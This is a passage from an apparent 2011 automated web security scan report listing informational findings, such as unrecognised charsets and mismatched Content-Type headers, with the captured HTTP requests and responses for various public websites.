Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://browserhawk.com/order/order.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RT=s=1316462372001&r=http%3A%2F%2Fcyscape.com%2F; bhawkplt=plt_state=exited&plt_stm=1316462371998&plt_url=http%3A%2F%2Fcyscape.com%2F

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:03:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
pragma: no-cache
cache-control: no-store, no-cache, must-revalidate
cache-control: post-check=0, pre-check=0
Content-Length: 2840
Content-Type: text/html
Expires: Sat, 18 Jan 1997 17:36:16 GMT
Cache-control: private

<HTML><HEAD>
<!-- These scripts are provided under the terms of the BrowserHawk license agreement
and may not be copied or used otherwise. [14, 0, 0, 79 Enterprise; BDD ver: 12.03] See cyscape.com for
...[SNIP]...

18.8. http://www.demo.com/a/i/wht-org-grd.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/i/wht-org-grd.png

Request

GET /a/i/wht-org-grd.png HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/a/s/demohp_090611.css
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:52 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 839


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...

18.9. http://www.demo.com/a/l/ngconnect_108x54.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/l/ngconnect_108x54.gif

Request

GET /a/l/ngconnect_108x54.gif HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:19 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 844


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...

18.10. http://www.demosondemand.com/shared_components/javascript/launchDemoStage3PlayerClient_js.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demosondemand.com
Path:	/shared_components/javascript/launchDemoStage3PlayerClient_js.asp

Request

Response

18.11. http://www.goclio.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/

Request

Response

18.12. http://www.goclio.com/legal/privacy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/legal/privacy/

Request

Response

18.13. http://www.goclio.com/legal/tos/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/legal/tos/

Request

Response

18.14. http://www.goclio.com/our_customers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/our_customers/

Request

Response

18.15. http://www.goclio.com/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/signup/

Request

Response

18.16. http://www.goclio.com/tour/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/tour/

Request

Response

18.17. http://www.idg.com/www/homenew.nsf/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/home

Request

Response

18.18. http://www.nationaldentalreviews.org/Handlers/ImageDisplay.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nationaldentalreviews.org
Path:	/Handlers/ImageDisplay.ashx

Request

Response

18.19. http://www.ortussolutions.com/includes/images/ul_li.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortussolutions.com
Path:	/includes/images/ul_li.gif

Request

GET /includes/images/ul_li.gif HTTP/1.1
Host: www.ortussolutions.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://ortussolutions.com/services/training
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=463913; CFTOKEN=fcf8c721c8b2670e-40BCBA0F-FB46-D832-C6293E0C58B5A1A6; JSESSIONID=8430cd39ec707b2f9ce2567e797f56675177; __utma=119068758.1923299070.1314798151.1314798151.1316461817.2; __utmb=119068758.2.10.1316461817; __utmc=119068758; __utmz=119068758.1316461817.2.2.utmcsr=coldbox.org|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 14:58:54 GMT
Server: Apache
Last-Modified: Fri, 17 Jun 2011 21:36:09 GMT
ETag: "1c728-3c4-4a5ef2c7d0440"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 964
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD>
<BODY>
<H1>Not Found</H1>
The requested document was not found on this server.
<P>
<HR>
<ADDRESS>
Web Server at ortussolutions.com
</ADDRESS>
</BODY>
...[SNIP]...

18.20. http://www.spro.com/Default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.spro.com
Path:	/Default.asp

Request

Response

18.21. http://www.vormetric.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vormetric.com
Path:	/

Request

Response

19. HTML uses unrecognised charset previous next
There are 2 instances of this issue:

/favicon.ico
/js/png.js

Issue background

Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

19.1. http://www.genuinewin7.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.genuinewin7.com
Path:	/favicon.ico

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

GB2312

Request

GET /favicon.ico HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316683422666:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:23:03 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>............</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
...[SNIP]...

19.2. http://www.genuinewin7.com/js/png.js previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.genuinewin7.com
Path:	/js/png.js

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

GB2312

Request

GET /js/png.js HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/purchase.aspx?WT.page_from=safety
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316684126733:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:34:37 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>............</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312">
<STYLE type="text/css">
...[SNIP]...

20. Content type incorrectly stated previous next
There are 35 instances of this issue:

http://www.cio.com/favicon.ico
http://www.cio.com/images/cec/martha_heller_sm.jpg
http://www.computerworld.com/favicon.ico
https://www.createspace.com/Special/Js/menu_config.js.jsp
https://www.credit-suisse.com/asset_management/global_includes/extensions/klp2_big_image.css
http://www.csoonline.com/favicon.ico
http://www.demosondemand.com/shared_components/javascript/launchDemoStage3PlayerClient_js.asp
http://www.facebook.com/extern/login_status.php
http://www.gamepro.com/lib/css/fonts/Arvo-Regular-webfont.woff
http://www.gamepro.com/lib/css/fonts/BEBAS___-webfont.woff
http://www.gamepro.com/lib/css/fonts/BebasNeue-webfont.woff
http://www.gamepro.com/lib/css/fonts/stag-semibold-webfont.woff
http://www.gamepro.com/lib/includes/components/flush/gamedownloads_rightrail_data.cfm
http://www.genuinewin7.com/css/default_2011.css
http://www.genuinewin7.com/js/ExternalJS-default.js
http://www.genuinewin7.com/js/pop.js
http://www.genuinewin7.com/js/share.js
http://www.genuinewin7.com/js/why-win7.js
http://www.google.com/ig/cp/get
http://www.idgconnect.com/javascripts/connect.js
http://www.infoworld.com/sites/default/files/ifw_favicon.ico
http://www.itworld.com/kickapps/isfollowing-comments/204223
http://www.law.com/img/law_10/favicon.ico
http://www.mach-ii.com/img/favicon.ico
http://www.model-glue.com/images/top_bg.gif
http://www.model-glue.com/js/sm-iepng.js
http://www.mtholyoke.edu/favicon.ico
http://www.nationaldentalreviews.org/Handlers/ImageDisplay.ashx
http://www.reismancarolla.com/favicon.ico
http://www.simplyhired.com/a/catalog/keywords
http://www.simplyhired.com/a/facebook/metrics
http://www.simplyhired.com/a/facebook/status
http://www.stumbleupon.com/services/1.1/badge.getinfo
http://www.zdnet.fr/blogs/i/img/551888_65x68.png
http://www9.effectivemeasure.net/v4/em_js

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

20.1. http://www.cio.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.cio.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.cio.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mobify=0; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; s_pers=%20s_pv%3DHome%2520Page%7C1316480470450%3B; idglg_ref_domain=fakereferrerdominator.com; __utma=242558352.1869823627.1316478674.1316478674.1316478674.1; __utmb=242558352.1.10.1316478674; __utmc=242558352; __utmz=242558352.1316478674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Age: 603101
Date: Mon, 12 Sep 2011 20:09:57 GMT
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "3936a8-47e-464b54d43f4c0"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 09 Mar 2009 20:15:55 GMT
Accept-Ranges: bytes
Cteonnt-Length: 1150
Keep-Alive: timeout=5, max=500
Content-Type: text/plain; charset=UTF-8
Cache-Control: private
Content-Length: 1150

............ .h.......(....... ..... ............................................................................................................................................................. ..
...[SNIP]...

20.2. http://www.cio.com/images/cec/martha_heller_sm.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.cio.com
Path:	/images/cec/martha_heller_sm.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a PNG image.

Request

GET /images/cec/martha_heller_sm.jpg HTTP/1.1
Host: www.cio.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/

Response

HTTP/1.1 200 OK
Age: 597
Date: Mon, 19 Sep 2011 19:29:25 GMT
Cache-Control: max-age=600 ,public
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "1fa36d-48be-4a911a6ee0ec0"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 27 Jul 2011 18:59:47 GMT
Accept-Ranges: bytes
Content-Length: 18622
Keep-Alive: timeout=5, max=486
Content-Type: image/jpeg

.PNG
.
...IHDR...d...O...........H.IDATx...uT....K..A..%h.$A.K .[po..R(.V....]j3...k.......<............2L.y.3k...23.+{..{$*.E...+../..p(..(..lD......c.p..p...G...1.#Y..M...G.M..&.xd,..s.2.,.....,.
...[SNIP]...

20.3. http://www.computerworld.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.computerworld.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.computerworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=22922409.780318155.1312579724.1312579724.1316478700.2; __utmz=22922409.1316478700.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __switchTo5x=35; __unam=8eb1eeb-1319bd924f9-3aa6664e-1; mobify=0; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D23%3B; s_pers=%20s_pv%3DHome%2520Page%7C1316480499516%3B; idglg_ref_domain=fakereferrerdominator.com; __utmb=22922409.1.10.1316478700; __utmc=22922409

Response

HTTP/1.1 200 OK
ETag: "20291-57e-419595a620680"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 24 Jul 2006 20:04:26 GMT
Accept-Ranges: bytes
ntCoent-Length: 1406
Cneonction: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 1406
Vary: Accept-Encoding
Cache-Control: public, max-age=600
Date: Mon, 19 Sep 2011 19:33:52 GMT
Connection: close

..............h.......(....... ...................................\...Y....!"./AD.....;QU.#13....Rrw.n...z...^...p...Gbf.W...e...f.......g...l...h.......q...h...^...^...j...f...b.......X...e.........
...[SNIP]...

20.4. https://www.createspace.com/Special/Js/menu_config.js.jsp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/Special/Js/menu_config.js.jsp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

20.5. https://www.credit-suisse.com/asset_management/global_includes/extensions/klp2_big_image.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.credit-suisse.com
Path:	/asset_management/global_includes/extensions/klp2_big_image.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

Response

20.6. http://www.csoonline.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.csoonline.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.csoonline.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Age: 603146
Date: Mon, 12 Sep 2011 20:06:35 GMT
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "3a0ef7-37e-4498124367480"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 28 Mar 2008 15:41:54 GMT
Accept-Ranges: bytes
Cteonnt-Length: 894
Keep-Alive: timeout=5, max=469
Content-Type: text/plain; charset=UTF-8
Cache-Control: private
Content-Length: 894

..............h.......(....... ................................U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U".U"
...[SNIP]...

20.7. http://www.demosondemand.com/shared_components/javascript/launchDemoStage3PlayerClient_js.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.demosondemand.com
Path:	/shared_components/javascript/launchDemoStage3PlayerClient_js.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

20.8. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.62.173.58
X-Cnection: close
Date: Mon, 19 Sep 2011 19:16:06 GMT
Content-Length: 22

Invalid Application ID

20.9. http://www.gamepro.com/lib/css/fonts/Arvo-Regular-webfont.woff previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.gamepro.com
Path:	/lib/css/fonts/Arvo-Regular-webfont.woff

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /lib/css/fonts/Arvo-Regular-webfont.woff HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/lib/css/global.css
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false; __utma=66735288.2105907975.1316478710.1316478710.1316478710.1; __utmb=66735288.2.10.1316478710; __utmc=66735288; __utmz=66735288.1316478710.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; ad-int=%7B%22currentView%22%3A%200%7D

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 03 Jun 2011 23:32:03 GMT
ETag: "70c350-4cb4-293362c0"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: text/plain
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:31:00 GMT
Age: 116
Content-Length: 19636

wOFF......L.......w.........................FFTM...l........Zo..GDEF........... ....OS/2.......R...`w.?.cmap.............r..cvt .......@...@....fpgm...X.......e../.gasp................glyf......B ..i`
...[SNIP]...

20.10. http://www.gamepro.com/lib/css/fonts/BEBAS___-webfont.woff previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.gamepro.com
Path:	/lib/css/fonts/BEBAS___-webfont.woff

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /lib/css/fonts/BEBAS___-webfont.woff HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/lib/css/global.css
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false; __utma=66735288.2105907975.1316478710.1316478710.1316478710.1; __utmb=66735288.2.10.1316478710; __utmc=66735288; __utmz=66735288.1316478710.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; ad-int=%7B%22currentView%22%3A%200%7D

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 03 Jun 2011 23:32:03 GMT
ETag: "70c354-2860-293362c0"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: text/plain
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:31:15 GMT
Age: 198
Content-Length: 10336

wOFF......(`......NP........................FFTM...l........Zo..GDEF........... ....OS/2.......>...V.:.cmap................cvt .......,..., w.jfpgm...........e../.gasp................glyf..........A,
...[SNIP]...

20.11. http://www.gamepro.com/lib/css/fonts/BebasNeue-webfont.woff previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.gamepro.com
Path:	/lib/css/fonts/BebasNeue-webfont.woff

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /lib/css/fonts/BebasNeue-webfont.woff HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/lib/css/global.css
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false; __utma=66735288.2105907975.1316478710.1316478710.1316478710.1; __utmb=66735288.2.10.1316478710; __utmc=66735288; __utmz=66735288.1316478710.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; ad-int=%7B%22currentView%22%3A%200%7D

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 03 Jun 2011 23:32:03 GMT
ETag: "70c358-31a8-293362c0"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=99
Content-Type: text/plain
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:31:15 GMT
Age: 198
Content-Length: 12712

wOFF......1.......[ ........................FFTM...l........Z..GDEF........... ....OS/2.......Y...`{ .^cmap.......".....R.icvt ...(...R...R...<fpgm...|.......e../.gasp...0............glyf...<..&...L.
...[SNIP]...

20.12. http://www.gamepro.com/lib/css/fonts/stag-semibold-webfont.woff previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.gamepro.com
Path:	/lib/css/fonts/stag-semibold-webfont.woff

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /lib/css/fonts/stag-semibold-webfont.woff HTTP/1.1
Host: www.gamepro.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gamepro.com/lib/css/global.css
Cookie: CFID=264521215; CFTOKEN=35949679; QUICKPOLLS=ftnjwDwXrYPqKEF%2Fe%2BvFMg0Y2VBynH3rDhPrqvZTas4%3D; IDGE_LOGIN=false; __utma=66735288.2105907975.1316478710.1316478710.1316478710.1; __utmb=66735288.2.10.1316478710; __utmc=66735288; __utmz=66735288.1316478710.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; ad-int=%7B%22currentView%22%3A%200%7D

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 08 Oct 2010 19:18:01 GMT
ETag: "70c34c-73e8-de79ac40"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100
Content-Type: text/plain
Pragma: im n ur heders, makin u cach
Vary: Accept-Encoding
Connection: Keep-Alive
Date: Mon, 19 Sep 2011 19:31:17 GMT
Age: 133
Content-Length: 29672

wOFF......s........l........................FFTM............Xk.^GDEF.......)...,....GPOS.......;..3j.c..GSUB.......,...0....OS/2...D...Q...`g..=cmap............6...cvt ...(...>...>.. Afpgm...h.......e
...[SNIP]...

20.13. http://www.gamepro.com/lib/includes/components/flush/gamedownloads_rightrail_data.cfm previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.gamepro.com
Path:	/lib/includes/components/flush/gamedownloads_rightrail_data.cfm

Issue detail

